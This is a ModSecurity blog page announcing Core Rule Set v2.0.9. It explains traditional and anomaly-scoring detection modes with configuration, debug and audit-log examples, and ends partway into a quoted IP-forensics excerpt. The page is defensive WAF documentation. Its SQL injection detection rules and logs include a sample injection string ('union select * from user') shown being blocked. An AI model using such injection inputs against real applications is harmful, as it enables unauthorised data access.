ModSecurity Trustwave
This blog has moved! Please update your
bookmarks to http://blog.spiderlabs.com/modsecurity/.

ModSecurity Blog

Announcing Release of CRS v2.0.9

Greetings everyone,

I am pleased to announce the release of the OWASP ModSecurity Core Rule Set (CRS) v2.0.9.

The most significant change is that users can now easily toggle between Traditional or Anomaly Scoring Detection modes.

CHANGE LOG -

--------------------------

Version 2.0.9 - 11/17/2010

--------------------------

 

Improvements:

- Changed the name of the main config file to modsecurity_crs_10_config.conf.example so that

  it will not overwrite existing config settings.  Users should rename this file to activate

  it.

- Traditional detection mode is now the current default

- Users can now more easily toggle between traditional/standard mode vs. anomaly scoring mode

  by editing the modsecurity_crs_10_config.conf file

- Updated the disruptive actions in most rules to use "block" action instead of "pass".  This

  is to allow for the toggling between traditional vs. anomaly scoring modes.

- Removed logging actions from most rules so that it can be controlled from the SecDefaultAction

  setting in the modsecurity_crs_10_config.conf file

- Updated the anomaly scores in the modsecurity_crs_10_config.conf file to more closely match

  what is used in the PHPIDS rules.  These still have the same factor of severity even though

  the numbers themselves are smaller.

- Updated the 49 and 59 blocking rules to include the matched logdata

- Updated the TAG data to further classify attack/vuln categories.

- Updated the SQL Injection filters to detect more boolean logic attacks

- Moved some files to optional_rules directory (phpids, Emerging Threats rules)

 

Bug Fixes:

- Fixed Rule ID 960023 in optional_rules/modsecurity_crs_40_experimental.conf is missing 1 single quote

  https://www.modsecurity.org/tracker/browse/CORERULES-63

- Moved all skipAfter actions in chained rules to the rule starter line (must have ModSec v2.5.13 or higher)

  https://www.modsecurity.org/tracker/browse/MODSEC-159

- Fixed restricted file extension bug with macro expansion

  https://www.modsecurity.org/tracker/browse/CORERULES-60

- Updated the SQLI TX variable macro expansion data in the 49 and 60 files so that

  it matches what is being set in the sql injection conf file

- Fixed typo in SQL Injection regexs - missing backslash for word boundary (\b)

  https://www.modsecurity.org/tracker/browse/CORERULES-62

 

--------------------------

DOWNLOADING

--------------------------

Manual Downloading:

You can always download the latest CRS version here -

https://sourceforge.net/projects/mod-security/files/modsecurity-crs/0-CURRENT/

 

Automated Downloading:

Use the rules-updater.pl script in the CRS /util directory

# Get a list of what the repository contains:

$ ./rules-updater.pl -rhttp://www.modsecurity.org/autoupdate/repository/ -l

Repository: http://www.modsecurity.org/autoupdate/repository

modsecurity-crs {

          2.0.0: modsecurity-crs_2.0.0.zip

          2.0.1: modsecurity-crs_2.0.1.zip

          2.0.2: modsecurity-crs_2.0.2.zip

          2.0.3: modsecurity-crs_2.0.3.zip

          2.0.4: modsecurity-crs_2.0.4.zip

          2.0.5: modsecurity-crs_2.0.5.zip

          2.0.6: modsecurity-crs_2.0.6.zip

          2.0.7: modsecurity-crs_2.0.7.zip

          2.0.8: modsecurity-crs_2.0.8.zip

          2.0.9: modsecurity-crs_2.0.9.zip

}

 

# Get the latest stable version of "modsecurity-crs":

$ ./rules-updater.pl -rhttp://www.modsecurity.org/autoupdate/repository/ -prules -Smodsecurity-crs

Fetching: modsecurity-crs/modsecurity-crs_2.0.9.zip ...

$ ls -R rules

modsecurity-crs

 

rules/modsecurity-crs:

modsecurity-crs_2.0.9.zip    modsecurity-crs_2.0.9.zip.sig

 

Advanced Topic of the Week: Traditional vs. Anomaly Scoring Detection Modes

In the latest SVN trunk version of the CRS (2.0.9), we have implemented the capability for users to easily toggle between Traditional or Anomaly Scoring detection modes.  This will most likely come as very welcomed enhancement for many users.  With the initial CRS v2.0, I feel that we jumped the gun a bit and in reality forced end users into using an Anomaly Scoring detection mode.  In hindsight, this was not the right thing to do.  The CRS should not force users into using any one specific mode of operation.  So, we went back to the proverbial drawing-board and implemented a number of updates which now allow a user to more easy switch between detection modes of operation.

Once you have downloaded and unpacked the CRS archive, you should review/update the new modsecurity_crs_10_config.conf.example file.  This is the central configuration file which will allow you to control how the CRS will work.  In this file, you can control the following related CRS items: 

  • Mode of Detection – Traditional vs. Anomaly Scoring
  • Anomaly Scoring Severity Levels
  • Anomaly Scoring Threshold Levels (Blocking)
  • Enable/Disable Blocking
  • Choose where to log events (Apache error_log and/or ModSecurity’s audit log)

In order to facilitate the operating mode change capability, we had to make some changes to the rules.  Specifically, most rules now use the generic block action instead of specifying any exact action to take.  This change makes it easy for the user to adjust settings in the SecDefaultAction and these will become inherited by the SecRules.  This is a good approach to use for a 3rd party set of rules as our goal is detection of issues and not telling the user how to react to it.  We also removed the logging actions from the rules so that the user can now also control exactly where they want the rules to log alerts to.

Please review this entire blog post so that you will have a better understanding of your operating mode options and you can make an informed decision about your selection.

CRS Operating Modes

Traditional Detection Mode - Self-Contained Rules Concept 

Traditional Detection Mode (or IDS/IPS mode) is the new default operating mode.  This is the most basic operating mode where all of the rules are “self-contained.”  Just like HTTP itself, the individual rules are stateless.  This means that no intelligence is shared between rules and each rule has no information about any previous rule matches.  It only uses its current, single rule logic for detection.  In this mode, if a rule triggers, it will execute any disruptive/logging actions specified on the current rule.

Configuring Traditional Mode

If you want to run the CRS in Traditional mode, you can do this easily by verifying the SecDefaultAction line in the modsecurity_crs_10_config.conf file uses a disruptive action such as deny:

#
# -=[ Mode of Operation ]=-
#
# You can now choose how you want to run the modsecurity rules -
#
#       Anomaly Scoring vs. Traditional
#
# Each detection rule uses the "block" action which will inherit the SecDefaultAction
# specified below.  Your settings here will determine which mode of operation you use.
#
# Traditional mode is the current default setting and it uses "deny" (you can set any
# disruptive action you wish)
#
# If you want to run the rules in Anomaly Scoring mode (where blocking is delayed until the
# end of the request phase and rules contribute to an anomaly score) then set the 
# SecDefaultAction to "pass"
#
# You can also decide how you want to handle logging actions.  You have three options -
#
#       - To log to both the Apache error_log and ModSecurity audit_log file use - log
#       - To log *only* to the ModSecurity audit_log file use - nolog,auditlog
#       - To log *only* to the Apache error_log file use - log,noauditlog
#
SecDefaultAction "phase:2,deny,log"

This setting mimics the previous CRS detection mode.  When a CRS rule matches, it will be denied and then the alert data will be logged to both the Apache error_log file and ModSecurity Audit log file.  Here is an example error_log message for an SQL Injection attack:

[Tue Nov 16 16:02:38 2010] [error] [client ::1] ModSecurity: Access denied with
 code 403 (phase 2). Pattern match "\\bselect\\b.{0,40}\\buser\\b" at ARGS:foo. 
[file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] 
[line "67"] [id "959514"] [rev "2.0.9"] [msg "Blind SQL Injection Attack"] 
[data "select * from user"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQL_INJECTION"] 
[tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] 
[tag "PCI/6.5.2"] [hostname "localhost"] [uri "/vulnerable_app.php"] 
[unique_id "TOLxbsCoC2oAABvWGW4AAAAA"]

This message format looks identical to the traditional rule logging format. 

Pros and Cons of Traditional Detection Mode

Pros
  • The benefit of this operating mode is that is much easier for a new user to understand.
  • Better performance (lower latency/resources) as the first disruptive match will stop further processing.  
Cons
Not optimal from a rules management perspective (handling false positives/exceptions)
  • Editing a rule's complex Regular Expressions was difficult
  • Typical method is to copy/paste the existing rule into a local custom rules file, edit the logic and then disable the existing CRS rule
  • End result was that heavily customized rule sets were not updated when new CRS versions were released
Not optimal from a security perspective
  • Not every site has the same risk tolerance
  • Lower severity alerts are largely ignored
  • Single low severity alerts may not be deemed critical enough to block, but multiple lower severity alerts in aggregate could be

Anomaly Scoring Detection Mode - Collaborative Rules Concept

In this advanced inspection mode, we are implementing the concept of Collaborative Detection and Delayed Blocking.  By this I mean that we have changed the rules logic by decoupling the inspection/detection from the blocking functionality.  The individual rules can be run so that the detection remains, however instead of applying any disruptive action at that point, the rules will contribute to a transactional anomaly score collection.  In addition, each rule will also store meta-data about each rule match (such as the Rule ID, Attack Category, Matched Location and Matched Data) within a unique TX variable.  

Configuring Anomaly Scoring Detection Mode

If you want to run the CRS in Anomaly Scoring mode, you can do this easily by updating the SecDefaultAction line in the modsecurity_crs_10_config.conf file to use the pass action:

#
# -=[ Mode of Operation ]=-
#
# You can now choose how you want to run the modsecurity rules -
#
#       Anomaly Scoring vs. Traditional
#
# Each detection rule uses the "block" action which will inherit the SecDefaultAction
# specified below.  Your settings here will determine which mode of operation you use.
#
# Traditional mode is the current default setting and it uses "deny" (you can set any
# disruptive action you wish)
#
# If you want to run the rules in Anomaly Scoring mode (where blocking is delayed until the
# end of the request phase and rules contribute to an anomaly score) then set the 
# SecDefaultAction to "pass"
#
# You can also decide how you want to handle logging actions.  You have three options -
#
#       - To log to both the Apache error_log and ModSecurity audit_log file use - log
#       - To log *only* to the ModSecurity audit_log file use - nolog,auditlog
#       - To log *only* to the Apache error_log file use - log,noauditlog
#
SecDefaultAction "phase:2,pass,log"

In this new mode, each matched rule will not block, but rather will increment anomaly scores using ModSecurity's setvar action.  Here is an example of an SQL Injection CRS rule that is using setvar actions to increase both the overall anomaly score and the SQL Injection sub-category score:

 SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bselect\b.{0,40}\buser\b" \
      "phase:2,rev:'2.0.9',capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,
block,msg:'Blind SQL Injection Attack',id:'959514',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',setvar:'tx.msg=%{rule.msg}',
setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"

Anomaly Scoring Severity Levels

Each rule has a severity level specified.  We have updated the rules to allow for the anomaly score collection incrementation to use macro expansion.  Here is an example:

SecRule REQUEST_FILENAME|ARGS_NAMES|ARGS|XML:/* "\bselect\b.{0,40}\buser\b" \
       "phase:2,rev:'2.0.9',capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,
t:compressWhiteSpace,ctl:auditLogParts=+E,block,msg:'Blind SQL Injection Attack',
id:'959514',tag:'WEB_ATTACK/SQL_INJECTION',tag:'WASCTC/WASC-19',tag:'OWASP_TOP_10/A1',
tag:'OWASP_AppSensor/CIE1',tag:'PCI/6.5.2',logdata:'%{TX.0}',severity:'2',
setvar:'tx.msg=%{rule.msg}',setvar:tx.sql_injection_score=+%{tx.critical_anomaly_score},
setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},
setvar:tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}"

This allows the user to set their own anomaly score values from within the modsecurity_crs_10_config.conf file and these will be propagated out for use in the rules by using macro expansion.

#
# -=[ Anomaly Scoring Severity Levels ]=-
#
# These are the default scoring points for each severity level.  You may
# adjust these to you liking.  These settings will be used in macro expansion
# in the rules to increment the anomaly scores when rules match.
#
# These are the default Severity ratings (with anomaly scores) of the individual rules -
#
#    - 2: Critical - Anomaly Score of 5.
#         Is the highest severity level possible without correlation.  It is
#         normally generated by the web attack rules (40 level files).
#    - 3: Error - Anomaly Score of 4.
#         Is generated mostly from outbound leakage rules (50 level files).
#    - 4: Warning - Anomaly Score of 3.
#         Is generated by malicious client rules (35 level files).
#    - 5: Notice - Anomaly Score of 2.
#         Is generated by the Protocol policy and anomaly files.
#
SecAction "phase:1,t:none,nolog,pass, \
setvar:tx.critical_anomaly_score=5, \
setvar:tx.error_anomaly_score=4, \
setvar:tx.warning_anomaly_score=3, \
setvar:tx.notice_anomaly_score=2"

This configuration would mean that every CRS rule that has a Severity rating of "Critical" would increase the transactional anomaly score by 5 points per rule match.  When we have a rule match, you can see how the anomaly scoring works from within the modsec_debug.log file:

Executing operator "rx" with param "\\bselect\\b.{0,40}\\buser\\b" against ARGS:foo.
Target value: "\xe2\x80\x98 union select * from user &#"
Added regex subexpression to TX.0: select * from user
Operator completed in 14 usec.
Ctl: Set auditLogParts to ABIFHZE.
Setting variable: tx.msg=%{rule.msg}
Resolved macro %{rule.msg} to: Blind SQL Injection Attack
Set variable "tx.msg" to "Blind SQL Injection Attack".
Setting variable: tx.sql_injection_score=+%{tx.critical_anomaly_score}
Recorded original collection variable: tx.sql_injection_score = "0"
Resolved macro %{tx.critical_anomaly_score} to: 5
Relative change: sql_injection_score=0+5
Set variable "tx.sql_injection_score" to "5".
Setting variable: tx.anomaly_score=+%{tx.critical_anomaly_score}
Recorded original collection variable: tx.anomaly_score = "0"
Resolved macro %{tx.critical_anomaly_score} to: 5
Relative change: anomaly_score=0+5
Set variable "tx.anomaly_score" to "5".
Setting variable: tx.%{rule.id}-WEB_ATTACK/SQL_INJECTION-%{matched_var_name}=%{tx.0}
Resolved macro %{rule.id} to: 959514
Resolved macro %{matched_var_name} to: ARGS:foo
Resolved macro %{tx.0} to: select * from user
Set variable "tx.959514-WEB_ATTACK/SQL_INJECTION-ARGS:foo" to "select * from user".
Resolved macro %{TX.0} to: select * from user
Warning. Pattern match "\bselect\b.{0,40}\buser\b" at ARGS:foo. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "67"] [id "959514"] [rev "2.0.9"] [msg "Blind SQL Injection Attack"] [data "select * from user"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"]

Anomaly Scoring Threshold Levels (Blocking)

Now that we have the capability to do anomaly scoring, the next step is to set our thresholds.  This is the score value at which, if the current transactional score is above, it will be denied.  We have two different anomaly scoring thresholds to set - one for the inbound request (which is evaluated at the end of phase:2 in the modsecurity_crs_49_inbound_blocking.conf file) and one for outbound information leakages (which is evaluated at the end of phase:4 in the modsecurity_crs_50_outbound_blocking.conf file):

#
# -=[ Anomaly Scoring Threshold Levels ]=-
#
# These variables are used in macro expansion in the 49 inbound blocking and 59
# outbound blocking files.
#
# **MUST HAVE** ModSecurity v2.5.12 or higher to use macro expansion in numeric
# operators.  If you have an earlier version, edit the 49/59 files directly to
# set the appropriate anomaly score levels.
#
# You should set the score to the proper threshold you would prefer. If set to "5"
# it will work similarly to previous Mod CRS rules and will create an event in the error_log
# file if there are any rules that match.  If you would like to lessen the number of events
# generated in the error_log file, you should increase the anomaly score threshold to
# something like "20".  This would only generate an event in the error_log file if
# there are multiple lower severity rule matches or if any 1 higher severity item matches.
#
SecAction "phase:1,t:none,nolog,pass,setvar:tx.inbound_anomaly_score_level=5"
SecAction "phase:1,t:none,nolog,pass,setvar:tx.outbound_anomaly_score_level=4"

With these current default settings, anomaly scoring mode will act similarly to traditional mode from a blocking perspective.  Since all critical level rules increase the anomaly score by 5 points, this means that even 1 critical level rule match will cause a block.  If you want to adjust the anomaly score so that you have a lower chance of blocking non-malicious clients (false positives) you could raise the tx.inbound_anomaly_score_level settings to something higher like 10 or 15.  This would mean that two or more critical severity rules have matched before you decide to block.  Another advantage of this approach is that you could aggregate multiple lower severity rule matches and then decide to block.  So, one lower severity rule match (such as missing a Request Header such as Accept) would not result in a block but if multiple anomalies are triggered then the request would be blocked.  

Enable/Disable Blocking

You are probably familiar with the SecRuleEngine directive which allows you to control blocking mode (On) vs. Detection mode (DetectionOnly).  With the new Anomaly Scoring detection mode, if you want to allow blocking, you should set the SecRueEngine to On and then set the following TX variable in the modsecurity_crs_10_config.conf file:

#
# -=[ Anomaly Scoring Block Mode ]=-
#
# This is a collaborative detection mode where each rule will increment an overall
# anomaly score the transaction. The scores are then evaluated in the following files:
#
# Inbound anomaly score - checked in the modsecurity_crs_49_inbound_blocking.conf file
# Outbound anomaly score - checked in the modsecurity_crs_59_outbound_blocking.conf file
#
# If you do not want to use anomaly scoring mode, then comment out this line.
#
SecAction "phase:1,t:none,nolog,pass,setvar:tx.anomaly_score_blocking=on"

This is the rule within the modsecurity_crs_49_inbound_blocking.conf file that evaluates the anomaly scores at the end of the request phase and will block the request:

# Alert and Block based on Anomaly Scores
#
SecRule TX:ANOMALY_SCORE "@gt 0" \
    "chain,phase:2,t:none,deny,log,msg:'Inbound Anomaly Score Exceeded (Total Score: %{TX.ANOMALY_SCORE}, SQLi=%{TX.SQL_INJECTION_SCORE}, XSS=%{TX.XSS_SCORE}): Last Matched Message: %{tx.msg}',logdata:'Last Matched Data: %{matched_var}',setvar:tx.inbound_tx_msg=%{tx.msg},setvar:tx.inbound_anomaly_score=%{tx.anomaly_score}"
        SecRule TX:ANOMALY_SCORE "@ge %{tx.inbound_anomaly_score_level}" chain
                SecRule TX:ANOMALY_SCORE_BLOCKING "@streq on" chain
                        SecRule TX:/^\d/ "(.*)"

# Alert and Block on a specific attack category such as SQL Injection
#
# SecRule TX:SQL_INJECTION_SCORE "@gt 0" \
#    "phase:2,t:none,log,block,msg:'SQL Injection Detected (score %{TX.SQL_INJECTION_SCORE}): %{tx.msg}'"

Notice that there is also another rule that is comment out by default.  This example rule shows how you could alternatively choose to inspect/block based on a sub-category anomaly score (in the this example for SQL Injection).  Let's take a look to see how this looks from within the modsec_debug.log file:

Recipe: Invoking rule 101a68700; [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_49_inbound_blocking.conf"] [line "18"].
Rule 101a68700: SecRule "TX:ANOMALY_SCORE" "@gt 0" "phase:2,log,chain,t:none,deny,msg:'Inbound Anomaly Score Exceeded (Total Score: %{TX.ANOMALY_SCORE}, SQLi=%{TX.SQL_INJECTION_SCORE}, XSS=%{TX.XSS_SCORE}): Last Matched Message: %{tx.msg}',logdata:'Last Matched Data: %{matched_var}',setvar:tx.inbound_tx_msg=%{tx.msg},setvar:tx.inbound_anomaly_score=%{tx.anomaly_score}"
Transformation completed in 1 usec.
Executing operator "gt" with param "0" against TX:anomaly_score.
Target value: "10"
Operator completed in 3 usec.
Setting variable: tx.inbound_tx_msg=%{tx.msg}
Resolved macro %{tx.msg} to: SQL Injection Attack
Set variable "tx.inbound_tx_msg" to "SQL Injection Attack".
Setting variable: tx.inbound_anomaly_score=%{tx.anomaly_score}
Resolved macro %{tx.anomaly_score} to: 10
Set variable "tx.inbound_anomaly_score" to "10".
Rule returned 1.
Match -> mode NEXT_RULE.
Recipe: Invoking rule 101a761e0; [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_49_inbound_blocking.conf"] [line "19"].
Rule 101a761e0: SecRule "TX:ANOMALY_SCORE" "@ge %{tx.inbound_anomaly_score_level}" "chain"
Transformation completed in 0 usec.
Executing operator "ge" with param "%{tx.inbound_anomaly_score_level}" against TX:anomaly_score.
Target value: "10"
Resolved macro %{tx.inbound_anomaly_score_level} to: 5
Operator completed in 10 usec.
Rule returned 1.Match -> mode NEXT_RULE.
Recipe: Invoking rule 101a76880; [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_49_inbound_blocking.conf"] [line "20"].
Rule 101a76880: SecRule "TX:ANOMALY_SCORE_BLOCKING" "@streq on" "chain"
Transformation completed in 1 usec.
Executing operator "streq" with param "on" against TX:anomaly_score_blocking.
Target value: "on"
Operator completed in 1 usec.
Rule returned 1.Match -> mode NEXT_RULE.
Recipe: Invoking rule 101a76e28; [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_49_inbound_blocking.conf"] [line "21"].
Rule 101a76e28: SecRule "TX:/^\\d/" "@rx (.*)"
Expanded "TX:/^\d/" to "TX:0|TX:959514-WEB_ATTACK/SQL_INJECTION-ARGS:foo|TX:959047-WEB_ATTACK/SQL_INJECTION-ARGS:foo".
Transformation completed in 0 usec.
Executing operator "rx" with param "(.*)" against TX:0.
Target value: "union select"
Ignoring regex captures since "capture" action is not enabled.
Operator completed in 8 usec.
Rule returned 1.
Match, intercepted -> returning.
Resolved macro %{TX.ANOMALY_SCORE} to: 10
Resolved macro %{TX.SQL_INJECTION_SCORE} to: 10
Resolved macro %{tx.msg} to: SQL Injection Attack
Resolved macro %{matched_var} to: union select
Access denied with code 403 (phase 2). Pattern match "(.*)" at TX:0. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_49_inbound_blocking.conf"] [line "18"] 
[msg "Inbound Anomaly Score Exceeded (Total Score: 10, SQLi=10, XSS=): Last Matched Message: SQL Injection Attack"] [data "Last Matched Data: union select"]

Alert Management - Correlated Events

The CRS events in the Apache error_log file can become very chatty. This is due to running the CRS in traditional detection mode where each rule is triggering its own error_log entry. What would be more useful for the security analyst would be for only 1 correlated event to be generated and logged to the Apache error_log file that would give the user a higher level determination of the transaction severity.

To achieve this capability, the CRS can be run in Anomaly Scoring mode where each individual rule will generate an audit log event Message entry but they will not log to the error_log on their own. These rules are considered basic or reference events (that have contributed to the overall anomaly score) and may be reviewed in the audit log if the user wants to see what individual events contributed to the overall anomaly score and event designation.  To configure this capability, simply edit the SecDefaultAction line in the modsecurity_crs_10_config.conf file like this:

#
# -=[ Mode of Operation ]=-
#
# You can now choose how you want to run the modsecurity rules -
#
#       Anomaly Scoring vs. Traditional
#
# Each detection rule uses the "block" action which will inherit the SecDefaultAction
# specified below.  Your settings here will determine which mode of operation you use.
#
# Traditional mode is the current default setting and it uses "deny" (you can set any
# disruptive action you wish)
#
# If you want to run the rules in Anomaly Scoring mode (where blocking is delayed until the
# end of the request phase and rules contribute to an anomaly score) then set the 
# SecDefaultAction to "pass"
#
# You can also decide how you want to handle logging actions.  You have three options -
#
#       - To log to both the Apache error_log and ModSecurity audit_log file use - log
#       - To log *only* to the ModSecurity audit_log file use - nolog,auditlog
#       - To log *only* to the Apache error_log file use - log,noauditlog
#
SecDefaultAction "phase:2,pass,nolog,auditlog"

With this setting, rule matches will log the standard Message data to the modsec_audit.log file.  You will still get 1 correlated event logged to the normal Apache error_log file from the rules within the modsecurity_crs_49_inbound_blocking.conf file.  The resulting Apache error_log entry would look like this:

[Wed Nov 17 11:46:56 2010] [error] [client ::1] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(.*)" at TX:0. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_49_inbound_blocking.conf"] [line "18"] 
[msg "Inbound Anomaly Score Exceeded (Total Score: 10, SQLi=10, XSS=): Last Matched Message: SQL Injection Attack"] [data "Last Matched Data: union select"] [hostname "localhost"] [uri "/vulnerable_app.php"] [unique_id "TOQHAMCoAWcAAB7KHl0AAAAB"]

This entry tells us that there was an SQL Injection attack identified on the inbound request.  We see that Total anomaly score is 10 and that the sub-category score of SQLi is 10.  This tells us that there were 2 different SQL Injection rules that triggered.  If you want to see the details of all of the reference events (individual rules that contributed to this correlated event), you can review the modsec_audit.log data for this transaction.  Section H of the audit log shows rule matches:

--0a4c3b0e-A-- 
[17/Nov/2010:11:46:56 --0500] TOQHAMCoAWcAAB7KHl0AAAAB ::1 49415 ::1 80 
--0a4c3b0e-B-- 
GET /vulnerable_app.php?foo=%E2%80%98+UNION+SELECT+*+FROM+user+%26%23 HTTP/1.1 
Host: localhost 
Connection: keep-alive 
Cache-Control: max-age=0 
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7 
Accept-Encoding: gzip,deflate,sdch 
Accept-Language: en-US,en;q=0.8 
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
  
--0a4c3b0e-F-- 
HTTP/1.1 403 Forbidden 
Content-Length: 220 
Keep-Alive: timeout=5, max=100 
Connection: Keep-Alive 
Content-Type: text/html; charset=iso-8859-1  

--0a4c3b0e-H-- 
Message: Pattern match "\bselect\b.{0,40}\buser\b" at ARGS:foo. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "67"] [id "959514"] [rev "2.0.9"] [msg "Blind SQL Injection Attack"] [data "select * from user"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] 
Message: Pattern match "\bunion\b.{1,100}?\bselect\b" at ARGS:foo. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "257"] [id "959047"] [rev "2.0.9"] [msg "SQL Injection Attack"] [data "union select"] [severity "CRITICAL"] [tag "WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] 
Message: Access denied with code 403 (phase 2). Pattern match "(.*)" at TX:0. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_49_inbound_blocking.conf"] [line "18"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10, SQLi=10, XSS=): Last Matched Message: SQL Injection Attack"] [data "Last Matched Data: union select"] 
Message: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/local/apache/conf/modsec_current/base_rules/modsecurity_crs_60_correlation.conf"] [line "36"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10, SQLi=10, XSS=): SQL Injection Attack"] 
Action: Intercepted (phase 2) 
Stopwatch: 1290012416382280 122228 (8369 120370 -) 
Producer: ModSecurity for Apache/2.5.13dev2 (http://www.modsecurity.org/); core ruleset/2.0.9. 
Server: Apache/2.2.12 (Unix) mod_ssl/2.2.12 OpenSSL/0.9.8l DAV/2  
--0a4c3b0e-Z--

By reviewing the audit log entry for this event, you can see all of the details of the two different SQL Injection rules that triggered on this request and contributed to the anomaly score.

Pros and Cons of Anomaly Scoring Detection Mode

Pros

  • An increased confidence in blocking - since more detection rules contribute to the anomaly score, the higher the score, the more confidence you can have in blocking malicious transactions.
  • Allows users to set a threshold that is appropriate for them - different sites may have different thresholds for blocking.
  • Allows several low severity events to trigger alerts while individual ones are suppressed.
  • One correlated event helps alert management.
  • Exceptions may be handled by either increasing the overall anomaly score threshold, or by adding rules to a local custom exceptions file where TX data of previous rule matches may be inspected and anomaly scores re-adjusted based on the false positive criteria.

Cons

  • More complex for the average user.
  • Log monitoring scripts may need to be updated for proper analysis

ModSecurity 2.5.13 release candidate

Already available a release candidate of 2.5.13 ModSecurity into svn repository (branch 2.5.x).

There are some improvements, new features and bug fixes like :

New features:

    * Added new setvar Lua API to be used into Lua scripts

     * Added new Base64 transformation function called base64DecodeExt, which
       can decode base64 data skipping special characters.

       In the past we mentioned this topic here: Impedance mismatch and base64

Improvement

     * Added PCRE messages indicates each rule that exceed match limits

     * Fixed Geo lookup concurrent connections bug

     * Fixed Skip/SkipAfter chain bug

     * Cleaned up some mlogc code and debugging output.

     * Remove the ability to use a relative path to a piped audit logger
       (i.e. mlogc) as Apache does not support it in their piped loggers
       and it was breaking Windows and probably other platforms that
       use spaces in filesystem paths.  Discovered by Tom Donovan.

     * Fix memory leak freeing regex.  Discovered by Tom Donovan.

     * Fix some portability issues on Windows.

If you want to get it and test the new features, just follow the steps:

1 - Create a directory to clone the code:

    mkdir /home/brenosilva/svn/modsecurity

    cd /home/brenosilva/svn

2 - Clone the source code:

    SVN:
        svn co https://mo​d-security​.svn.sourc​eforge.net​/svnroot/m​od-securit​y/m2/branc​hes/2.5.x modsecurity

    GIT:
        git svn clone --prefix=svn/ https://mo​d-security​.svn.sourc​eforge.net​/svnroot/m​od-securit​y/m2/branc​hes/2.5.x modsecurity

3 - Make sure you cloned the last rev:

    Checked out HEAD:
        https://mo​d-security​.svn.sourc​eforge.net​/svnroot/m​od-securit​y/m2/branc​hes/2.5.x r1544

Detecting Malice with ModSecurity: IP Forensics

This week's installment of Detecting Malice with ModSecurity will discuss the value of obtaining data about client IP Addresses.

IP Forensic Section of Robert "Rsnake" Hansen's book "Detecting Malice" -

Whenever someone connects to your server you get their IP address. Technically speaking, this piece of information is very reliable--because of the three-way handshake, which I discussed in Chapter 1, an IP address used in a full TCP/IP connection typically cannot be spoofed. That may not matter much because, as this chapter will show, there are many ways for attackers to hide their tracks and connect to our servers not from their real IP addresses, but from addresses they will use as mere pawns in the game.

Almost the first thing people inquire into when they encounter computer crime is the location of the attacker. They want to know who the attacker is, where he is, and where he came from. These are all reasonable things to latch onto; but not always the first thing that comes to my mind.

I have a pretty particular way I like to think about IP addresses and forensics in particular. I am very practical. I want to find as much as I can, but only to the extent that whatever effort is spent toward uncovering the additional information is actually helpful. The goal of recording and knowing an offending IP address is to use it to determine intent of the attacker, and his motivation—is he politically, socially or monetarily motivated? Everything else comes at the end, and then only if you really need to catch the bad guy.

..snip..

Many attackers have failed to learn their lesson, either because of ignorance or stupidity and hack from their house. Although getting warrants for arrest can be time consuming, costly and difficult, it’s still possible and if you can narrow down an attacker’s IP address to a single location that will make the process much easier. Techniques such as reverse DNS resolution, WHOIS, and geolocation are commonly used to uncover useful real-world information on IP addresses.

Reverse DNS Resolution

One of the most useful tools in your arsenal can be to do a simple DNS resolution against the IP address of the attacker (retrieving the name associated with an IP address is known as reverse DNS resolution). Sometimes you can see the real name of the owner of the broadband provider.

WHOIS Database

Whois is a protocol that supports lookups against domain name, IP address and autonomous system number databases. If reverse DNS lookup provides little useful information, you can try running the whois command on the same IP address in order to retrieve the official owner information. You may get very interesting results. Sometimes it is possible to retrieve the actual name of the person or company at that IP address.


Gathering IP Data in ModSecurity

